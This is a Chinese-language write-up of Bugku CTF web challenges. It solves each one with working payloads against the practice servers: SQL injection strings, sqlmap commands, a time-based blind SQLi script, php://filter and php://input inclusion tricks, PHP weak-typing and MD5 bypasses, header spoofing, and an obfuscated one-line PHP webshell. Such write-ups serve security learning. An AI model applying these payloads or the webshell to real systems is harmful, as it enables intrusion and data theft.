WEB2
题目链接:
[bugku][http://123.206.87.240:8002/web2/
点击链接出现页面然后按下f12
得到key.
web基础$_POST**
题目链接:
[bugku][http://123.206.87.240:8002/post/
打开还是一段代码,只是换成post方式
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
这次利用火狐的一个插件hackbar,点击Postdata写入what=flag,运行即可.
矛盾
题目链接
[bugku][http://123.206.87.240:8002/get/index1.php
打开还是一段代码,
$num=$_GET['num'];//get请求
if(!is_numeric($num))//is_numeric($num)num=数字,return true,加了"!"所以num=字符进循环
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
php是弱类型语言,==只需要数值等于,类型随意,所以我们用num=1a这个字符串进入if语句.字符串与数字比较时,php会读到第一个不是数字的地方停止.例如下面这段代码
<?php
$a='1a2';
echo (int)$a;
?>
//输出的结果为1
所以构造[bugku][http://123.206.87.240:8002/get/index1.php?num=1a.就可以得到flag.
web3
题目链接
[bugku][http://123.206.87.240:8002/web3/
打开链接有个弹窗,查看网页源代码找到这段代码.
<!--KEY{J2sa42ahJK-HS11III}-->
unicode编码,解码得KEY{J2sa42ahJK-HS11III}
你必须让他停下
题目链接
[bugku][http://123.206.87.240:8002/web12/
打开链接就不停的闪,用burpsuit抓包看看.发送到repeater,不停的go,当出现第10张图片,就出flag{dummy_game_1s_s0_popular},这题什么意思...
本地包含
题目坏掉了...
转了一下别人写的.
[转][https://blog.csdn.net/dyw_666666/article/details/82389457
变量1
题目链接
[bugku][http://123.206.87.240:8004/index1.php
打开出现一段代码
//flag In the variable !
<?php
error_reporting(0);// 关闭错误报告
include "flag1.php";//调用flag1.php文件
highlight_file(__file__);//函数对文件进行语法高亮显示
if(isset($_GET['args'])){//isset检测变量是否已设置并且非 NULL
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
//正则匹配,"/""/"代表开始合结束"^"开始字符"$"结束字符"\w"代表大小写英文和数字'+'代表可以有多个.
die("args error!");
}
eval("var_dump($$args);");//$$可变变量
}
?>
可变变量解释
<?php
$a='b';
$b='c';
echo $a."\n";
echo $b."\n";
echo $$a;
?>
/*输出结果
b
c
c*/
所以给args传一个全局变量GLOBALS就行了
构造[bugku][http://123.206.87.240:8004/index1.php?args=GLOBALS
php九大全局变量
- $_POST [用于接收post提交的数据]
- $_GET [用于获取url地址栏的参数数据]
- $_FILES [用于文件就收的处理img 最常见]
- $_COOKIE [用于获取与setCookie()中的name 值]
- $_SESSION [用于存储session的值或获取session中的值]
- $_REQUEST [具有get,post的功能,但比较慢]
- SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都
- $GLOBALS [一个包含了全部变量的全局组合数组]
- $_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]
web5
题目链接
[bugku][http://123.206.87.240:8002/web5/
题目已经提醒了jsfuck,打开网页发现jsfuck,复制粘贴丢控制台,得到ctf{whatfk}.
头等舱
题目链接
[bugku][http://123.206.87.240:9009/hd.php
打开链接什么都没有,查看源代码也没有,网络请求也没有...
burpsuit抓包,发送到repeater,go一下就出现flag{Bugku_k8_23s_istra}.
网站被黑
题目链接
[bugku][http://123.206.87.240:8002/webshell/
题目说实战经常用到,拿御剑扫描到了webshell.php,发现一个马,弱口令无果,爆破得到密码为hack,输入密码就得到了flag{hack_bug_ku035} .
管理员系统**
题目链接
[bugku][http://123.206.31.85:1003/
先查看源码,没东西,审查元素发现了段base64, dGVzdDEyMw== ,解密得test123,这肯定是密码了,输入账号admin密码test123,说IP禁止访问,请联系本地管理员登陆,IP已被记录. 那么将ip地址伪造为127.0.0.1输入账号密码就得到了flag.
web4
题目链接
[bugku][http://123.206.87.240:8002/web4/
题目让我们查看源码,那就查看源码,发现了一段代码
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
有url编码,解码得
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));
有点乱不好看,整理合并eval.
function checkSubmit()
{
var a=document.getElementById("password");
if("undefined"!=typeof a)
{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
读代码,大意就是把那串代码填入输入框点确定就可以.得到flag.
flag在index里
题目链接
[bugku][http://123.206.87.240:8005/post/
这题看题目就想到了php://filter...
点开链接确实,点击click me?no链接,得到[1][http://123.206.87.240:8005/post/index.php?file=show.php
直接构造链接[2][http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 得到一段base64,解码得到.
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
关于php://filter推荐看看大佬blog [p][https://www.leavesongs.com/PENETRATION/php-filter-magic.html
输入密码查看flag
题目地址
[bugku][http://123.206.87.240:8002/baopo/
提示5位数字密码,直接用burpsuit爆破就ok.
不想发图,就给个链接[1][https://jingyan.baidu.com/article/ca41422f054c881eae99eda0.html 按这个教程就能爆破
点击一百万次
题目地址
[bugku][http://123.206.87.240:9001/test/
查看源码有一段代码
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});
里面有个form表单用到post提交,可以利用hackbar上传clicks值,也可以抓包该包,都可以获取到flag.
备份是个好习惯
题目链接
[bugku][http://123.206.87.240:8002/web16/
点开链接给了串数字,试了下没什么用.
看题目名字是备份,就去试一试 .bak, .svn, .git等等,最后发现了index.php.bak存在,下载后是一段代码.
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);//不显示错误报告
$str = strstr($_SERVER['REQUEST_URI'], '?');//返回 ?和 ?后面的所有字符.
$str = substr($str,1);//返回字符串第一个字符以后的所有字符.
$str = str_replace('key','',$str);//将str里面的key替换为空,所有的都要替换.
parse_str($str);//把查询字符串解析到变量中
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
把查询字符串解析到变量中例子
<?php
$data = "a=1&b=2";
parse_str($data);
echo $a;
?>
//输出a=1
前面会将key替换为空,所以利用kekeyy来绕过.
if条件中key1和key2的md5值相同,但是本身不能相等,参考链接[1][https://www.cnblogs.com/xishaonian/p/7628152.html
所以构造[2][http://123.206.87.240:8002/web16/index.php?kkeyey1=240610708&kekeyy2=QNKCDZO
可以获得flag
还有一种绕过if语句的就是数组经过md5加密都为空,后面随便加点东西就绕过了!==,
所以构造[3]:http://123.206.87.240:8002/web16/index.php?kkeyey1[]=240610708&kekeyy2[]=QNKCDZO
成绩单
题目链接
[bugku][http://123.206.87.240:8002/chengjidan/
打开链接发现了一个表单,上面写着1,2,3...这个题一看就是注入,
审查元素发现这段代码
<form action="index.php" method="post">
<input style="width:300px;height:40px;font-size:18px;" name="id" placeholder="1,2,3..." type="text" />
<br />
<br />
<br />
<br />
<br />
<input style="width:100px;height:40px;" value="Submit" type="submit" />
</form>
通过post提交,然后name="id"
所以就用hackbar试试post注入,发现没有任何过滤...常规操作.
id=1' and 1=1#
id=1' and 1=2#
id=-1' order by 1#
id=-1' order by 2# id=1' order by 3#
id=-1' order by 4# id=1' order by 5# id=' union select 1,2,3,4#
id=-1' union select 1,2,3,database()# id=' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
id=-1' union select 1,2,3,skctf_flag from fl4g#
得到BUGKU{Sql_INJECT0N_4813drd8hz4}
秋名山老司机*
题目链接
[bugku]http://123.206.87.240:8002/qiumingshan/
打开链接------亲请在2s内计算老司机的车速是多少,一看就写脚本计算.
#conding:utf-8
import requests
import re
url="http://123.206.87.240:8002/qiumingshan/"
s=requests.Session()
r=s.get(url)
search=re.findall('<div>(.*)</div>',r.text)#正则匹配数学表达式
search=''.join(search)#将得到的列表转为字符串
search=search[:-3]#因为将匹配了"=?;",所以最后3个字符去掉.
result=eval(search)#计算表达式
datas={'value':result}
flag=s.post(url,data=datas)#发送post包.
print(flag.text)#打印响应的内容
输出结果åæ¥ä½ ä¹æº Bugku{YOU_DID_IT_BY_SECOND}
cookies欺骗
题目链接
[bugku]http://123.206.87.240:8002/web11/
打开链接发现一段代码没什么用,然后抓包试试,发现他URL有段base64,解码得到keys.txt,于是想到读取index.php,将其用base64加密,go一下发现了"<?php".
发现url里面有个line=,把这里改成line=2,go一下发现另一段代码,这就是源码了,发送到intruder,爆破line得到完整代码,读源码发现了keys.php.
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
//当有cookies margin=margin时会有keys.php
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
最后添加cookies,然后访问base64加密后的keys.php,查看源代码得到flag.
never give up
题目链接
[bugku]http://123.206.87.240:8006/test/hello.php?id=1
打开链接查看源码发现所以打开1p.html,结果发现其跳转到bugku社区,用burp抓包得到
发现代码是加密了的.
url解码
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
发现了base64,解码,得到的代码是经过url编码的,继续解码得
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
//查找 "." 在字符串中第一次出现的位置,如果没有查询到就返回空
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
发现源码里面有f4l2a3g.txt访问就可以得到flag.
但是题目本意应该是绕过16行的代码.
1.id为非空非零且弱等于0,则可以另id='a'
2.data是由函数file_get_contents()读取变量a的值.可以利用php://input访问原始请求数据的只读流,在请求主体中上传"bugku is a nice plateform!"就ok.
3.eregi() 截断漏洞利用,访问到空字符就会截断,就会匹配成功.
所以
welcome to bugkuctf
题目链接
[bugku]http://123.206.87.240:8006/test1/
查看源码
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
发现可以通过php://input进入循环,代码里面又提示了hint.php,于是又想到了文件包含,
所以构造?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
得到了一段base64
PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
发现flag.php,读flag.php没东西,读一下index.php发现解码
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password); //反序列化.
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
发现代码里面有反序列化,于是就可以通过序列化得到flag.php里面的值,再将其反序列化输出
<?php
class Flag{
public $file;
}
$a=new Flag();
$a->file=flag.php;
$a=serialize($a);
print_r($a);
//值为 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?>
于是构造payload
过狗一句话
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
就是一句话木马
paylod ?s=print_r(scandir('./'))
scandir() 函数 返回一个数组,数组包含指定路径中的文件和目录
print_r()函数 以易于理解的格式打印变量
字符正则
题目链接
[bugku]http://123.206.87.240:8002/web10/
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
看代码就是绕过正则就ok了
/..../ 代表开始和结束
. 表示任意字符
*表示后面字符1个或者多个
{4,7} 表示前面的字符要匹配4-7次
/ 表示 / ,
[a-z] 表示在a-z中匹配
[[:punct:] ]表示任意匹配标点符号
i 表示大小写不敏感
于是 ?id=key1keykeykey11111key:/1/1keya,
正则参考链接[link]https://www.cnblogs.com/afarmer/archive/2011/08/29/2158860.html
前女友(SKCTF)
题目链接
[bugku]http://123.206.31.85:49162/index.php
查看源码发现code.txt,打开发现一段代码
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
//返回值:如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
echo $flag;
}
}
}
?>
代码意思是v1和v2本身不相等,但是md5值相等进入循环,v3值和flag值相等输出flag
php黑魔法,参考链接[link]http://www.cnblogs.com/xishaonian/p/7628152.html
v1=240610708 &v2=QNKCDZO
strcmp()可以利用数组绕过既可以 v3[]=a
最后构造 ?v1=240610708&v2=QNKCDZO&v3[]=1
login1(SKCTF)
题目链接
[bugku]http://123.206.31.85:49163/
打开链接给了个用户登录注册界面,注册号,登录成功显示"你不是管理员" cookies没东西
题目提示了sql约束攻击
sql约束攻击:
数据库字符串比较,在数据库对字符串进行比较时,如果两个字符的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致.
比如
select * from admin where username='vampire'
select * from admin where username='vampire '
第一段代码和第二段代码查询结果一样,会把空格处理掉0.0
利用这一点,可以用admin 注册将admin的密码重置,登录admin账号得到flag
你从哪里来
题目链接
[bugku]http://123.206.87.240:9009/from.php
打开链接
are you from google?
修改header头
添加 https://www.google.com 得到flag
md5 collision(NUPT_CTF)
题目链接
[bugku]http://123.206.87.240:9009/md5.php
打开链接 input a,题目名字又是md5碰撞
所以就想到hash值以0e开头的字符串0.0
于是构造?a=s214587387a
程序员本地网站
题目链接
[bugku]http://123.206.87.240:8002/localhost/
本地访问,利用X-Forwarded-For伪造ip为127.0.0.1得到flag
各种绕过
题目链接
[bugku]http://123.206.87.240:8002/web7/
打开链接
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);//url解密
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
代码意思,uname和passwd的值不同,但是sha值相同,===可以用数组绕过
id==margin,url解密margin所以只需id=margin即可
构造?uname[]=a&id=margin post passwd[]=b
web8
题目链接
[bugku]http://123.206.87.240:8002/web8/
<?php
extract($_GET);//变量覆盖
if (!empty($ac))
{
$f = trim(file_get_contents($fn));//读取文件
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
extract() -使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量.
empty()-判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。
trim()-移除字符串两侧的空白字符或其他预定义字符。
file_get_contents-将整个文件读入一个字符串
于是构造?ac=a&fn=php://input post上传a
细心
题目链接
[bugku]http://123.206.87.240:8002/web13/
robots.txt下面有resusl.php
打开resusl.php,你不是管理员,但是有段代码
if ($_GET[x]==$password)
于是构造?x=admin,得到flag
求getshell
题目链接
[bugku]http://123.206.87.240:8002/web9/index.php
上传一句话抓包
1.判断第一个绕过点在请求头中的content-type上,因此通过大小写进行绕过(multipart/form-data 是上传文件时使用的格式)
2.第二个绕过点在 上传文件的后缀名上,php5没有被过滤
INSERT INTO注入
题目链接
[bugku][http://123.206.87.240:8002/web15/
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ //先让ip=xff
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip); //将ip用,隔开成几个数组
return $ip_arr[0];//返回第一个数组,大概就是只返回 ,前的数据
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')"; //注入点
mysql_query($sql);
第10行代码将 ,号后面的字符截断了,意味不能使用if,所以用这一句
select case when A then B else C end;
//当A为真时就执行B,否则执行C
因为,号过滤,所以substr(start,end)和substring也不能用了,但是这里有个小技巧就是使用from 1 for 1代替
'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))%23
substr()函数参考链接[]:http://www.cnblogs.com/ahu-lichang/p/9494909.html
网上找的脚本,没跑出来....
感觉题目出了问题...
# -*- coding:utf-8 -*-
import requests
import sys
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)=‘{1}‘ then sleep(5) else 0 end))--+"
url = 'http://123.206.87.240:8002/web15/'
flag = ""
for i in range(1,50):
# 怀疑flag有40个那么长,所以以40为长度进行猜测
print('正在猜测:',str(i))
# 把i变成字符串格式输出出来
for ch in range(33,129):
print(ch)
# 遍历整个acsii码表
if ch >= 128:
sys.exit(0)
# 如果都跑都这儿了,说明有问题了,程序退出
sqli = sql.format(i,chr(ch))
# format是格式化输出语句,i给到sql语句的{0}位置,chr(ch)给到{1}的位置。(chr()的作用是根据acsii码值返回对应的字符)
print(sqli)
header = {
'X-Forwarded-For':sqli
# 每次去伪造不同的ip(注入命令)嘛
}
try:
html = requests.get(url, headers=header, timeout=4)
# 大部分的情况肯定是猜错了,如果错了(等待超过三秒),那就继续循环;
# 如果对了(对脚本来说属于异常),那就跳到异常
except:
flag += chr(ch)
print(flag)
break
这是一个神奇的登陆框
题目链接
[bugku][http://123.206.87.240:9001/sql/
打开链接就一个登录框,发现 “ 引起注入,于是抓包用sqlmap
sqlmap -r "/home/deepin/Desktop/22.txt" -p admin_name --dbs //获取数据库
sqlmap -r "/home/deepin/Desktop/22.txt" -D bugkusql1 -p admin_name --tables // 获取列表
sqlmap -r "/home/deepin/Desktop/22.txt" -T flag1 -p admin_name --columns //获取字段
sqlmap -r "/home/deepin/Desktop/22.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump //打印字段
多次
题目地址
[bugku][http://123.206.87.240:9004/1ndex.php?id=1
加 ' 报错,字符型注入,
id=1' and 1=1 %23 报错,说明有过滤
异或注入 用 ^ 测试过滤字符,两个条件相同(同真或同假)即为假.
id=1' ^ (0) %23 正确
id=1’ ^ (1) %23 错误
因此 id=1'^(length('and')!=0)%23 如果and被过滤,那么length('and')==0 和!=0矛盾返回0,所以页面应该返回真确
用同样的方法测试了or,union,select都被过滤.
后面发现双写能绕过
id=-1' ununionion seselectlect 1,2%23 发现2有回显.
//爆表
id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema="web1002-1" %23
//爆列
id=-1' ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1" %23
//爆内容
id=-1' ununionion seselectlect 1,group_concat(flag1) from flag1 %23
//得到usOwycTju+FTUUzXosjr ,是个假flag
//于是继续爆破
id=-1' ununionion seselectlect 1,group_concat(address) from flag1 %23
//得到下一关地址 ./Once_More.php
第二关,开始很正常,后面发现union 就开始被过滤了. 双写绕过union,但是select双写绕过没起作用,应该是被吃掉了.
于是这里应该有两种思路:
基于extractvalue()和updatexml()的报错注入
id=1'and updatexml(1,concat("~",(select database())),1)%23
id=1'and extractvalue(1,concat("~",(select database())))%23
extractvalue报错注入
参考链接[]https://blog.csdn.net/dyw_666666/article/details/83450701
updatexml报错注入
参考链接[]https://blog.csdn.net/qq_26090065/article/details/82708691
第二种思路就是盲注了
这个题substr函数被过滤了,mid这个函数没有被过滤(mid使用方法与substr一样),于是将substr替换为mid
盲注
参考链接[]https://blog.csdn.net/qingchenldl/article/details/84576351